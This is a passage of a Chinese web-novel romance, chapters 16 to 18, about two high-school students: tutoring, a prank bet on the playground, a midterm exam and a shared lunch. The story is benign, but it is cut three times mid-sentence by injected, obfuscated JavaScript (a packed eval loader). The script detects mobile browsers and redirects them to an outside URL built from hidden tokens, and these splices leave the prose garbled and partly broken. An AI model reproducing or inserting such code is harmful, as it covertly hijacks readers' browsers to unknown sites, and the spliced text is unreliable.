“……”祁缘差点一口气没上来,她从来没见过这么“聪明”的人。 宋嶙见她不说话,还以为她生气了,低声解释:“我这脑子天生就不是学习的料。” “这和脑子没关系,你现在不学,那你以后想做什么?” “当兵啊,以后保家卫国,这可是我从小的愿望。” 宋嶙这次倒是回答的飞快,眼里有光。 祁缘想想,确实,她记得之前在网上看到过,服兵役和学历是没有直接关系的。 “只是……”她忍不住戳穿他,“你现在这样能考上大学吗?” “……”杀人且诛心。 宋嶙轻咳一声,端正做好,微笑道:“那祁老师还是勉为其难教我点什么吧。” 她静静地看着他,然后伸出手来一步一步帮他捋:“数学、物理、化学,三科一样不学,语文背不下来,英语看不进去……” “停!”宋嶙眉头紧锁,“别说了,那不是还有个政治吗?” 他们这个班就是选修的物理化学政治,他现在十分庆幸当时没选生物,要不然他可真是一科也学不明白了。 她老实回答:“政治也是需要背的啊。” 宋嶙先是一脸不屑,后又一脸自豪:“政治背什么?那玩意儿不就是测人品的吗?我小学时候每次都九十分往上。” 祁缘暗自捏了把汗,小学是小学,现在都读高中了,根本没有可比性,哪有他说的那么容易? 既然那么狂,那试试就知道了。 她从桌肚里拿出政治练习册,转头把宋嶙的也拿出来,然后翻到同一页。 “咱俩一起做前五道选择题,然后对答案。” 他答应的爽快:“行。” 祁缘垂下脑袋,先读一遍选项再读题。她理解能力不是很好,一道题要读好几遍才能思考出来个大概,但她这样做对的概率也能相对大一些,毕竟这是再三思考后的结果。 宋嶙这边就不太顺利了,这几道题目都是在问什么社会主义这种类型的问题,他看了眼选项,怎么感觉都对的样子? 他侧头:“这是多选题吗?” 她语塞:“……单选。” “……” 宋嶙又转头回去读题,结果一连读了好几遍他都感觉不到哪个选项有错误。 算了,选一个凭感觉最好的吧。 八分钟过去,两人双双停笔。 “好了,我们可以看答案了。”宋嶙莫名有些兴奋,嗖嗖的翻,书页被甩的哗啦哗啦响。 祁缘对完了,抬头:“我对四个,你呢?” 宋嶙也对完了,兴奋的手舞足蹈:“我就说政治不难吧?我还对三个呢!” “行啊!我觉得你……”祁缘凑过去看了眼他的,又看看自己的,揉了揉眼睛,喃喃道:“我们答案怎么不一样……” “哪里不一样?”宋嶙看了半天才看出来端倪,“我答案翻错页了……” “……” 他继续翻,这次终于找到正确的答案了,结果对完只觉得两眼一黑。 他一个都没对。 16. 第 16 章 宋嶙这下是铁了心不想学习了。 祁缘也不知道该怎么劝他了,本身这么多年没认真听过课,浑身上下一点儿基础也没有,要是搁在她身上,她也未必能学的下去。 可看他这么颓废也不是办法,眼下高中的学不进去,那就从小学的开始学吧。 当她把小学课本递到他跟前的时候,他懵了。 宋嶙“噗嗤”一声,没忍住笑:“你从哪儿淘来的?” 她也不藏着掖着:“村里有几家小孩上小学,我叫我外婆帮忙借的。” 他脸色瞬间耷拉下来:“外婆她知道我要学小学课本?” “对呀,那我总不能撒谎吧?” “……” 真是个直率的姑娘。 祁缘倒也没借太小的,那些东西都用不上,什么语文英语的到初中还要重来一遍,她就只借了数学的,也没什么好学的,无非就是让他算算什么方程题。 宋嶙其实脑子不笨,他只是对学习不上心,他懒得听课,懒得琢磨。但这会儿认认真真学起来,学的还是蛮快的,她出了几道题他都做对了。 “你好棒!”祁缘为了让他有成就感,毫不吝啬地夸奖,甚至还鼓起了掌。 这种夸小孩儿的方法,没想到在宋嶙身上也同样适用。他嘴角压不住的上扬,还假装深沉:“也就一般般吧!” 何浩楠在后边看的龇牙咧嘴的,仿佛看见了什么让人极度不适的画面,他甚至有些无语:“这是什么新型的过家家吗?” 陈子涛甩甩头,撇嘴:“不理解。有时候真挺佩服祁缘的,要照顾宋嶙这个巨婴。” “有道理。” 他们蛐蛐人也不避着,恨不得贴脸开大,宋嶙板着个脸,扭头:“你俩就没有别的事儿要干吗?” 两人同时摇头:“没有。” “怎么我认认真真学个习你们都要说两句?” 陈子涛哑然失笑:“阿嶙,真不是我俩笑点低非要嘲讽你,你说你,都高二了,学小学课本,哈哈哈哈哈……” 说到最后,他是真绷不住了:“哪有这样的啊?” 宋嶙把书甩给他:“你做一个我看看。” 陈子涛扫了一眼:“不做。” “怕丢人现眼就直说,唯唯诺诺的是不是男的?” “你少用激将法了!” 宋嶙都要气笑了,他真懒得在他身上兜圈子:“孩子你可拉裤兜子吧,我就实话摆在这里了,你还不如我呢!” 陈子涛拍拍他的肩膀,强调道:“阿嶙,我不瞒你,其实我小学补过课。” “补过课你还怕啥?这解方程式的题你随便挑一道,我看看你实力在哪里。” 他嘴里叼着棒棒糖,接过来:“行,我做出来你答应我个事儿。” 他怎么说肯定没好事儿,但宋嶙赌他百分之百做不出来,他微抬着下巴:“行,你做吧,做不出来你就答应我一件事儿。” 陈子涛顿时来了兴致,既然让他挑,那他就从这几道题里面挑了个题型最简略的,越是这种题,就越好做。 祁缘憋不住笑,她刚才和宋嶙练的题都是方程式里边比较难的题型,而陈子涛选这个,虽然看上去简单,但它括号什么的有好几个,其实算是这几个里边儿最难的。 他既然觉得这个就是最简单的,那他小时候补的课就算白补了,他和宋嶙的赌约也大概率能分出胜负了。 果然,陈子涛刚把题写在纸上就开始咬笔杆,何浩楠极其嫌弃地推了他一把:“你她妈自己没笔啊?一借我笔就张嘴咬。” “完了,都怪你!你把我思绪都撞没了!” “啥?”何浩楠闻言冷笑一声:“我就没见过你这么歪的人!” 他俩又开始拌嘴,宋嶙没了耐心,指尖在桌子上一点一点弹着:“你还能不能做出来了?” 陈子涛干脆摆烂了,把笔一扔,“哎呀年代太久远了,现在老了脑子有点儿不太好使了。” 他们三个从小到大都在一起混,宋嶙不知道他那点儿尿性可就完了。 “这顿笑话我,结果怎么还不如我呢?”见他认输,宋嶙也懒得掰扯,哼起了歌:“我想想让你答应我点儿啥呢……” 他这人别看长个人样,但心思歹毒,陈子涛以前早就领教过了。当时还在上初中,忘了因为什么反正也来了个赌约,他输了,宋嶙让他下课去女生最多的地方跟同班一个男生说“我喜欢你”。 他更会选,挑的那个男生恰巧刚好喜欢同性,估计是看陈子涛长的不错,马上就答应了。 他永远记得他当时被那个男生追的满操场跑,那些女生笑的前仰后合的情景。他更记得,他那时暗恋的女生就在那个人堆里。 于是整个初中他那句表白都没能说的出口,因为那个女生更是带头磕他俩。 这就是宋嶙干出来的损事儿。 总不可能有比这件事再损的了,陈子涛扬了扬下巴:“我堂堂男子汉敢作敢当,还能怕你一个无名小辈不成?放马过来吧!” 宋嶙笑的有点儿放肆:“你去把初中那个赌约再来一遍。” 陈子涛好像听到了什么膈应人的话,不信邪地问:“你说啥?!” “下课,操场,女生人多的地方,跟男生表白。” 何浩楠闷头笑的肩膀乱颤,又帮他复述了一遍,他有时候真挺佩服宋嶙的脑回路的,知道陈子涛怕什么他就来什么。 “怎么还玩那套啊?” “你也没说不能重复啊!” 他气笑了:“你能当回人不?” 宋嶙果断摇头:“不能。” 他又扭头对祁缘说:“等着,马上大课间了,人最多的时候让他去。” 她笑:“好。” “太损了,简直没救了。” 十分钟后,下课铃响了,陈子涛感觉他要死了。 他被何浩楠推着出去,宋嶙和祁缘在后面跟着,他们几个正迫不及待地等着看他社死。 一个面无表情,三个眉开眼笑,现在他才明白,原来人与人之间的悲喜并不相通。 陈子涛站在操场中间,看着人来人往的人群,他立在那里一动不动,像是罚站一样。他现在真想用脚扣个三室一厅,然后躲里面睡一觉。 有个女生眯了眯眼,拽了拽身旁女生的胳膊,“你前任干嘛呢?” 那个前任停下脚步,顺着她的视线看过去,想起他以前干那些狗事儿,脾气上来气的跺脚:“谁管他?扬了二正的,指不定又要整什么幺蛾子呢。” 眼看着周围的女生越来越多,陈子涛作为学校红人,几乎没谁不认得他。下一秒,他深呼一口气,拉上刚从他身边走过去的一个男生。 那男生眼睛一亮:“干嘛呀涛子?有事儿啊?” 陈子涛心砰砰直跳,那句话就像卡在嗓子眼儿里了一样,想说都说出不来,他干巴巴的动了动唇,给那男生看乐了。 “咋的啊?新学的哑语啊?” “……” “妈的乐死我了。”宋嶙蹲在远处观察情况听的憋不住笑,他颤着指尖,不忘跟祁缘指着:“北中小品。” 祁缘拄着下巴,说实话她也挺期待的,她想知道陈子涛说完后,那个男生,和那群女生,都会是什么反应。 那男生就这么被他拽着,他还着急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957258|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上厕所呢,皱着眉问:“支支吾吾啥呢?快点说,我还有事儿……” 陈子涛语速飞快:“我喜欢你。” “……” 这一瞬间,他感觉周围的世界都安静了。 下一秒操场上响起了如雷贯耳的爆笑声。 那男生吓得后退一步:“你……刚才……说的啥?” “好话不说第二遍。” 陈子涛有点儿挂不住脸了,刚想逃跑,一个女生从背后过来给了他一脚。陈子涛气的站起来就要骂人,看清楚是谁后,傻眼了。 只见那个前任揪着他耳朵,拧眉道:“你当时找那么个蹩脚的理由跟我提分手,整半天你是外边有人了是吧?还她妈是个男的,你怎么不早告诉我你喜欢男的?” “不是……我是……” “什么是不是的?大庭广众之下表白,多么轰轰烈烈的爱情啊!”那男生见情况不对想跑,结果被她拽住衣领逮了回来,“谈,你跟他谈!哥们儿你就当惩恶扬善了!” “不是啊姐姐,我喜欢女生啊,我不喜欢陈子涛……” 可眼下这女生已经被气的失去理智了,硬是抓着他俩把手牵上了。 这时旁边又过来一个女生,一脸震惊:“刚我同学告诉我陈子涛喜欢男的,是真的假的……” 她低头瞥见他们正握着的手,瞬间明白怎么回事了。头发一撩,也拳打脚踢的加入了战争中了。 “你她妈喜欢男的你还亲我!” 陈子涛抱着脑袋蹲到地上,哀嚎出声:“你俩听我解释啊……喂……!” 何浩楠和宋嶙都快笑死了,祁缘不至于,倒也眉眼弯弯,她有点儿好奇:“他有几个前女友啊?” 话音刚落,宋嶙突然凑过来,一手搭在她的肩上,两人隔着极近的距离,他的脸碰上她的,温热的鼻息吐在她的耳垂上,酥酥麻麻。 他哑着嗓子用只有他们两个能听到的音量,说:“三个。” 他一气呵成的完成了这些动作,祁缘有点儿猝不及防,反应过来后耳朵瞬时红的滴血。她不知道他为什么要用这么近的距离跟她说话,现在只感觉耳朵烧的慌,实在太明显了,于是她往后退了一点儿。 何浩楠余光瞥见,结果这个大直男愣是直接指出来了,脸色微变:“祁缘,你耳朵咋这么红呢?” 宋嶙闻言,也盯着她看。祁缘怔住,她有些别扭,慌忙捂住耳朵,苦笑道:“太冷了,冻的。” “哦哦,这样啊……”直男果然是直男,随便编了个理由就糊弄过去了。 她刚想松口气,却发现宋嶙还是始终盯着她看,瞬间心凉了半截。 眉眼带笑,意味不明。完了,他不会察觉到了吧? 祁缘假装不以为意,故意不看他。片刻后,宋嶙笑了声,目光从她身上移开,看热闹去了。 后来宋嶙告诉她她才知道,那时候陈子涛在网上网恋了一个女的,结果看到照片后才知道是何浩楠女朋友。 何浩楠不知道那女的在网上立单身人设,他还挺喜欢那女的来着,都是好兄弟他俩也不能看他深陷其中,后来他俩商量着就帮他把这事儿搅黄了。 所以在他印象里,何浩楠就知道陈子涛处过两任女友。 祁缘点点头,她记得她刚转来那天他们还聊过这方面的事,那时何浩楠说过宋嶙没谈过女朋友。 虽然知道答案,但是她还是想再问一遍。她歪着头,问:“那你有几任女朋友?” 他听完,眉梢微挑,淡然一笑:“不早恋。” 尾音在耳边盘旋,少女眸光一闪,眼里像是盛满了星星。 这个答案她很满意。 17. 第 17 章 转眼到了十一月中旬,期中考试如约而至。 “阿缘,你起来没有呢?” 卧室门不断传来“咚咚”的响声,冯丽的声音从门缝儿里挤进来,听着若隐若现的。 “这就起来了。” 祁缘嘟囔着应了一声,然后抱着被子滚了一圈儿,晨光从外面透过窗户打进卧室,她适应了好一会儿才彻底睁开眼。 前一天晚上复习到了半夜,导致她现在头还昏昏沉沉的,她看了眼闹钟,才四点。 祁缘又栽回床里,说话声带着浓浓的鼻音:“外婆,这不是才四点吗?你这么早叫我干嘛呀?” “什么四点?都七点半了,你再不起床就要迟到了!” 七点半…… 迟到…… 几个字在脑子里“轰”地一下炸开,她猛地惊醒,伸手抓起床头柜上摆着的时钟。 指针没动,没电了…… 她从床上弹起来,急切地穿好衣服,拖鞋都没来得及趿拉就跑去洗漱了。她还纳闷怎么感觉今天睡了这么久闹钟都没响? 每天祁缘洗漱都要磨蹭好一会儿,眼瞅着马上要迟到了,这下洗脸刷牙加起来她才用了三分钟。 她跑到门口穿棉鞋,冯丽端着粥从厨房出来,招呼她:“你得先吃口饭再走啊!” 祁缘摆摆手:“不行,七点五十就开考了,我要来不及了!” “哎呀你慢点儿跑,当心点儿别摔了!” “我知道了外婆!” 一眨眼的功夫人就没影了,冯丽叹了口气,碗筷怎么端出来的又怎么端回去了。 祁缘跑了一路,甚至中途岔气肚子疼她都没敢停下来,那等她跑到学校的时候操场也已经没什么人了,只庆幸还好昨天就分了考场,她现在只要直接去考场就行了。 离开考时间还剩两分钟,监考老师此时都已经站在讲台上了,是她们班的语文老师,名叫许燕。她看了她一眼,冲她抬了抬下巴,示意她快点回座。 祁缘喘着粗气,看了眼黑板上的座位表。由于她是新转来的没有成绩,直接被安排到了最后一张桌。结果她竟然还不是最晚的,她前面的座位还空着。 她跑的太累了,落座后摸出笔袋和本子摆到桌上,然后又把矿泉水拿出来喝了两口。 仰头的瞬间她扫了眼教室,这一看就是平时没人用的废教室,棚顶上挂着几个白炽灯,外面的灯罩已经落了厚厚一层灰,角落里甚至爬满了蜘蛛网,风扇是那种老式的挂墙风扇,墙皮也已经脱落了不少,墙面看上去一块黑一块白的。 她不禁感叹,原来学习不好的学生连一间干净的教室都不配拥有,关键是这些学生看上去好像已经习惯了,根本没人在意这些。 预备铃响了,前面的人还没来,许燕已经开始发卷子了,她一边忙活一边絮叨:“咱考场学习水平都一个样儿,你们也别交头接耳了,咱们就相互配合一下各自的工作,好好考完就得了。” 刚拿到卷子那个学生拿起笔,接茬道:“知道了老师,我写个名字就睡觉了。” “那你就是咱学校第一个考完的。哎?怎么还有一个没来的?” 许燕拿着卷子左右张望,这时前门被敲的叮当响。众人的视线探过去,宋嶙正倚在门边,似乎是起床气还没消,他眉头微蹙,眼眸漆黑,一副看谁都不爽的表情。 祁缘这才知道她前面的人正是宋嶙,座位表都是按成绩排的,这个考场都已经是最后一个考场了,然而她没想到的是他居然是上次考试的倒数第一。 许燕一时语噎,旋即又恢复如常,道:“宋嶙啊,你怎么还踩着点儿来的?” 他如实回答:“睡过了。” “……连个理由都懒得编啊?”她在他身上扫过目光,怔住:“你现在考试连书包都不背了?” 宋嶙有种犯了错被严刑拷打的难受,他已经有点儿没耐心了,眼神中闪过一丝烦躁,许燕察觉到不对,这才松口:“下次早点来,快回座吧。” 他听完,摸进口袋刚要拿出笔的手又退了出来,接着不紧不慢地迈过门槛,到了座位跟前他才发现后面坐着的是祁缘。宋嶙心一惊,上次考试他没来,这姑娘不会以为他是上次考试的倒数第一吧? 刚好,她就是这么认为的。 许燕发完卷子这会儿已经回到讲台上了,见他站着不坐,黑着脸抱起胳膊:“宋嶙你怎么还不坐下?看她干嘛?” 宋嶙顿时脸色阴沉,气的咬牙:“这就坐。” 这人是学校里出了名的爱絮叨,他从跟她碰面那一刻起就一直被数落,磨磨唧唧的,一说就说个不停。他不想和她较真,坐下来,凳子被他拽的“吱嘎”一声响。 “哎你……” 正式考试的铃声响了,她剩半句话还卡在嗓子眼儿里没说出来,被一口气呛住,咳嗽了两声,挥挥手:“算了算了,开始答题吧。” 话音刚落就有人摘下眼镜往桌子上一趴,既然都已经有人打头阵了,后续其他人也就跟着陆陆续续的倒下了。都知道这老师是出了名的严格,没人想惹事儿,不会就干脆睡觉。 这倒是挺给许燕省心的,她都不用刻意去看着谁,没事就看看窗外的风景,又或者是欣赏一下自己刚做的美甲。 她决定下次还要来这个考场监考。 时间一点一点流逝,教室里安静的出奇,绝大部分人都在睡觉,只有几个人醒着,估计是睡不着。 只有角落里那两个,“倒数第一”和“倒数第二”,全班只有他们两个在看试卷。许燕好奇劲儿上来了,从凳子上站起来,开考这么久以来这是她第一次下台巡视。 她先是站在宋嶙旁边看了一会儿,她知道他不爱听课学习不好,自己之前也监考过他,那时的他和他们一样,铃一响就睡觉,甚至比他们趴下的速度更快一些,就因为这小子不戴眼镜。 可现在竟然破天荒的在认真答题?她有点儿不信邪,这次试卷是她出的,许燕知道题是什么,她凑过去看了眼他的答题卡,长舒了一口气。 还好真的只是做做样子,古诗词全错了。 “……” 她又上前一步去看祁缘的,小姑娘平时上课就挺认真的,桌上的答题卡更是写的满满登登的,字迹也十分工整,看着就让人心情大好。 许燕又看了眼她写的答案,条理清晰,逻辑性强,很标准的答题模板。 她记得崔荣之前跟她讲过,祁缘早在来之前就休学了一年,来了学校不久后出了那一档子事又休了一个月,现在却能把阅读理解题做的这么透彻,也是个挺厉害的小姑娘。 许燕决定把空出来的课代表位置让给她。 收卷子的时候她把祁缘留下来提了下这件事,后者对她微微一笑,想都没想就拒绝了。 或许是她记仇吧,许燕当时不分青红皂白就当着全班人的面数落她,让她受尽难堪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957259|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那段时光她永远也忘不了。 雪崩的时候没有一片雪花是无辜的。 语言是门艺术,讲话需要三思而后行,她们随口说出的几句话,却是她心里永远愈合不了的伤疤。 许燕吃了瘪,她知道肯定是因为那件事,她也知道自己那时做的确实有点过分,于是这个想法也只好作罢。 她尴尬地笑笑,脸色不太好看,只好给自己找了个台阶下:“行,如果你以后还有这个意愿的话可以来办公室和我说。” “祁缘!聊完没有啊?等你半天了!” 宋嶙在远处看了挺久了,他知道她不喜欢这个老师,但又不能当着她的面直接把祁缘扯过来,只能大声招呼她。 祁缘目光被吸引过去了一瞬,知道他在替她解围,她回过头,对许燕的话闭口不谈,只留下一句“老师再见”就跑掉了。 这或许不礼貌,但也只是以牙还牙而已。 宋嶙瞟了眼许燕一脸难堪的表情,走远了才微俯着身子跟祁缘打听:“你们说啥了?许燕脸怎么那么臭呢?” “我骂她了。” “……”宋嶙倒吸一口凉气,上前一步捏上她的下巴,看似把她擒住了,实则一点儿没用力。他语调很轻:“我很好骗?” 祁缘笑眯眯的,似乎偏要跟他作对,像小鸡啄米一样疯狂点头。 宋嶙安静片刻,语气斜上去:“我发现你最近好像有点儿飘了,你是不是断定了我不敢收拾你啊?” 她听完想都不想,只是更加卖力的点头:“对,你要是敢欺负我我就去找宋叔叔告状了。” 宋嶙肩膀一颤,他突然发现他好像把她给惯坏了,这姑娘现在有点儿支楞起来了,居然敢威胁他了。 他半晌回神,扯了下唇角,眼里含着淡淡的笑:“那试试呗,看你是先告诉我爸,还是我先欺负你?” “试试就试……” 话还没说完,她心头一空,下一秒双脚离了地,整个人腾空而起,感觉五脏六腑都飞起来了。 宋嶙给她来了个过肩摔。 他的力道很轻,她又穿着棉袄,所以摔在地上一点儿都不疼。只是她还没反应过来,就这么在地上呆呆的坐了大概半分钟。 她以为他是说着玩的。 宋嶙在旁边笑的直不起来腰,摔她可比摔那帮小子好玩儿多了,就和逗小孩儿一样。 这会儿楼梯间没人,就他们俩在这儿,祁缘拍了拍屁股,想站起来,结果每次刚要起来就又被宋嶙按在地上,她红着脸:“你要是再碰我你就完了!” “哦,是吗?” 祁缘真是一怒之下怒了一下,她一点儿反抗能力都没有,从头到尾一直被压制。宋嶙笑着,手上的动作没停,他实在想象不到她能把他怎么样。 眼看着自己斗不过他,祁缘干脆不理他了,捂着脸垂下头,一动不动地坐在那。宋嶙愣住两秒,过来扒拉她胳膊:“不是,闹着玩儿呢怎么还哭了?” 祁缘甩开他,屁股一扭把头转向了另一边,宋嶙无奈,只好蹲下来哄她。 “别哭了呗祖宗,我知道错……” 他还沉浸在自己的世界里,眼看时机差不多了,祁缘突然抬头向身前的人扑了过去。宋嶙没反应过来,身体瞬间失去平衡,整个人直直向后栽去。 自己的诡计得逞了,祁缘捂着嘴哈哈笑着,宋嶙躺在地上,无奈的扯了下唇角。 “坏蛋。” 18. 第 18 章 由于早上没吃早饭,祁缘早早就饿了。 肚子已经发出了抗议,几分钟就咕噜咕噜响一次,然而上午的最后一门考试考到了将近十二点才结束,她揉了揉眼睛,似乎能看见星星了。 监考老师收完卷子在桌子上磕了两下,笑道:“睡了一上午都饿坏了吧?赶紧去吃饭吧,今天中午食堂做的木耳西兰花,还有个土豆白菜,快去补充一下体力吧!” 祁缘听完只觉得绝望,这两道菜她都不爱吃。想了想,她还是出去买点儿什么吃吧。 宋嶙一转头就看见她在书包里翻找着什么,一脸茫然:“你不去吃饭吗?一会儿食堂没座位了。” “我不太喜欢今天中午的菜,想出去吃。”祁缘把钱揣进衣服口袋,看了他一眼,说:“你要去吗?我请你吃。” 他们自从认识开始她就没少麻烦他,早就应该请他吃一顿饭了。 她难得主动一次,宋嶙笑着点头:“好啊。” 他们去了上次宋嶙带她去的那个小吃街。 那个时候天气不冷不热,商贩们都大包小裹的出来摆摊卖货,热热闹闹的,一到夏天这里就充满了人间烟火气息。 可今时不同往日,眼下已经越来越冷,估计他们很久都没出摊了,大街上空荡荡的,地上一点儿垃圾也没有。 冷风嗖嗖往衣服里钻,祁缘紧了紧衣裳,问他:“你想吃什么?” 宋嶙手插着兜,漫不经心地回答:“你吃什么我吃什么呗。” “我都说是我请客了,肯定是你挑啊!” 她饿的有点儿急了。他笑,四周扫了一圈,然后指着不远处的一家面馆:“他们家有个鱿鱼炒面还挺好吃的,要不就吃这个?” 她点头:“行,走吧。” 天气寒凉,面馆的玻璃门紧闭着,宋嶙先她一步上前把门推开,祁缘从他胳膊底下钻进去,一股暖风扑在脸上,吹的她眼前的刘海晃了晃。 老板笑眯眯的从厨房出来,看上去挺年轻的,脸上没什么褶皱。他在围裙上抹了把手上的水,说:“阿嶙来啦!带你妹妹吃点什么?” 宋嶙闻言“噗嗤”一声:“这我同学。” 祁缘:“……” “哈哈哈哈……那长的有点儿显小。”老板尴尬地笑笑,这个时间段有几个吃饭的,但都不是北中的学生。他带他们去了一个小桌坐下,从隔壁桌把菜单拿过来递给宋嶙。 宋嶙没接:“就来两碗鱿鱼炒面就行。哦对,她那碗少放点儿辣。” 祁缘愣住,那天外婆随口说出的一句话,他一直记在心里吗? 她有点高兴。 “行,那你们先稍等一会儿。” 老板转身去厨房忙活了,祁缘确保他听不见了才撇嘴吐槽道:“我真有那么矮吗?” 十七岁,157,好像确实有那么一点矮吧。 宋嶙对她温柔惯了,她以为他会轻声细语安慰她几句,结果只见他挺直了腰板,一本正经的在他俩头上来回比划了两下。 他眉尾上扬带动着太阳穴上的痣,一副贱兮兮的表情,嘲笑她:“你是真的矮,但你嶙哥也是真的高,187,这不你一辈子吗?” 祁缘深吸一口气,她的白眼快要翻到后脑勺去了。 等了大概十分钟,老板端着两碗炒面出来了,轻笑两声:“面好了,那边有调料,你们自己看着加啊。” “知道了老板。” 宋嶙浅浅打量了下,把那碗色泽较浅的推到她旁边,然后递给她一双一次性筷子,道:“吃吧。” 祁缘应了声,接过来三下五除二就撕掉了筷子外面的包装袋,她肚子都要饿瘪了,眼下终于能吃上饭了。但是,她撇撇嘴,怎么这么多洋葱啊? 祁缘咬着唇瓣,一点一点把洋葱挑出来。 宋嶙顿住:“你不吃洋葱啊?” “不吃。” 以前祁建强在家就爱吃这东西,祁缘经常看到殷曼在厨房一边切洋葱一边流泪。 有几次两人目光正好碰上,殷曼一瞬间有些手足无措,然后立马笑起来:“这洋葱太呛了,呛的我眼泪都止不住。” 祁缘知道她在找借口。 久而久之,洋葱成了她最不愿意看到的东西。 因为它总是让人流泪。 就像生活,总是充满辛辣与刺激。 她慢吞吞地挑着,下一秒手心一空,宋嶙把筷子接过来几下就挑出去了,动作又快又粗鲁。完事儿,他把碗往她跟前一推,“这回吃吧。” 祁缘这下心满意足地笑了,拿着筷子挑起来几根面在嘴边吹了吹,直到热气散了才往嘴里送。 她眼皮抖了抖,下一秒满意的手舞足蹈起来,虽然还是有点儿辣,但味道是真的很不错。宋嶙笑她:“你至于吗?” “至于!你知道对于一个早上没吃饭的人来说,”她眉头微蹙,把嘴里的面咽下去了才继续说,“吃上这么好吃的一口有多幸福吗?” 他捕捉到关键点,脸色一变:“为什么没吃饭?” “因为睡过了,要迟到了呀。” “那有什么的,随便编个理由,老师又不能扒你一层皮。” 她从纸抽里抽出来张纸,擦了下嘴上的油,老实道:“不想编,不想骗人。” “这样吗?”宋嶙唇角一弯,盯着她看:“那我问你个事儿呗。” 说话的同时他好看的丹凤眼微微眯着,黑白分明,看上去十分清澈。两边酒窝随着他的笑容显露出来,下颚线条清晰流畅,眼尾弧度上扬,略带一丝挑逗的意味。 她身子一僵,内心开始猜测他究竟要问什么。 可别是什么坏道儿。 祁缘强装镇定:“那你问吧。” 宋嶙点头:“你想当我妹妹吗?” 他其实是半开玩笑半认真问出来的这句话,语气不像以前那样拖腔带调,多了几分成熟稳重。 宋嶙觉得她最近看他的表情有些不太对劲,他想知道她对他还有没有别的感情。 又或者说是……他对她的感情变了。 他好像喜欢上她了。 但是要问他是从什么时候开始喜欢上她的,他不知道。 思来想去,或许,是在每一个想保护她的瞬间。 可祁缘没察觉到,她认为这个问题只有两种答案,一个妹妹,一个同学,她握着筷子的手逐渐收紧,这让她怎么选? 说想,那他们就只能停留在兄妹这一步,从此划清界限,她的秘密就要永远埋藏于心底,永远暗无天日。 说不想,那他们今后就只会是朋友,除了同学,她将不会再以任何一种身份站在他旁边,或许毕业以后,他们的人生也不再会有交集了。 不用思考,这种情况她一定会选择前者。 祁缘垂着脑袋,整理好自己的情绪,然后弯起月牙般的眼睛,几乎是从牙缝里硬挤出来的这句话。 “想”,她顿了下,酝酿着,随即表现出一副自己特别开心的样子,又说了一遍:“我想当你的妹妹。” 她说话不算数,她骗人了。 宋嶙直直看着她,愣了好久,半晌才哑着嗓子低笑一声,口中喃喃道:“啊……好,当妹妹也挺好的。” 他耷拉着眼皮,眼底隐隐闪过一丝苦涩,眼看脸上的落寞就快要掩盖不住,他匆忙起身:“我去拿一瓶饮料。” 原来她真的,只是单纯的把他当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957260|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥哥。以前那些含羞带怯的表情,其实也只是因为异性接触而已。 到底还是他想多了。 算了,他安慰自己,以后还长,一切随缘。 吃完饭后宋嶙去厕所了,祁缘挥手招呼老板过来,另一只手在兜里拿钱,她问:“老板,我们这桌多少钱啊?” “一碗面16,两碗就是32,阿嶙还拿了瓶饮料,所以一共是35元。” 祁缘拿出手里的50元,她递给他,老板摇摇头,没接:“不是,宋嶙刚才拿完饮料就结完账了,我是来给你送小票的。” 她看着手里的小票,不禁皱眉,嘀咕道:“不是说好了我请客吗?” 老板一愣,他还是第一次看到女生抢着付钱的。他脸色微变,转瞬又变得从容:“没事儿的姑娘,你俩出来吃饭,男生付钱不是应该的吗?再说了,他这次帮你付,大不了下次你帮他付,到时候再把这人情还给他就完事儿了呗!” “还不完了,他已经帮过我很多次了。” 回去的路上祁缘一直闷闷不乐的,宋嶙在旁边不管怎么哄都没有用,她就是一句话都不跟他说。 “哎呀我错了,下次肯定让你付,好不好?” 她终于开口,但还是不看他:“又是下次。” “这次真是真的,我只是觉得咱们两个出来吃饭,我怎么可能让你一个女生付钱呢?主要是又没有多少,我付了也就付了。” 宋嶙就没这么委曲求全过,他稍稍弯腰捏着她肩膀,一晃一晃的,把她整的走不动道,趴在她耳边重复着:“原谅我吧,原谅我吧……” 她甩了下肩膀:“不要。” 宋嶙一脸的生无可恋,他记得她不是没脾气的吗?怎么一生起气来就这么难哄? “那你说我应该怎么办?” 他骨节分明的大手扣在她的胳膊上,祁缘想走,结果她使出了吃奶的劲儿也没从他的手里挣脱出来。 她撇嘴,突然有些委屈,说不清,不知道是因为在店里的谈话还是怎样,泪水在眼里打着转儿,眼前的脸庞也逐渐变得模糊。 她弱弱道:“你为什么要对我这么好……” 为什么…… 他越是这样对她,她就越是不甘心。她以前明明不是这样的人,她从来不会随随便便对一个人注入这么强烈的感情,可现在,她怎么就越来越贪心? 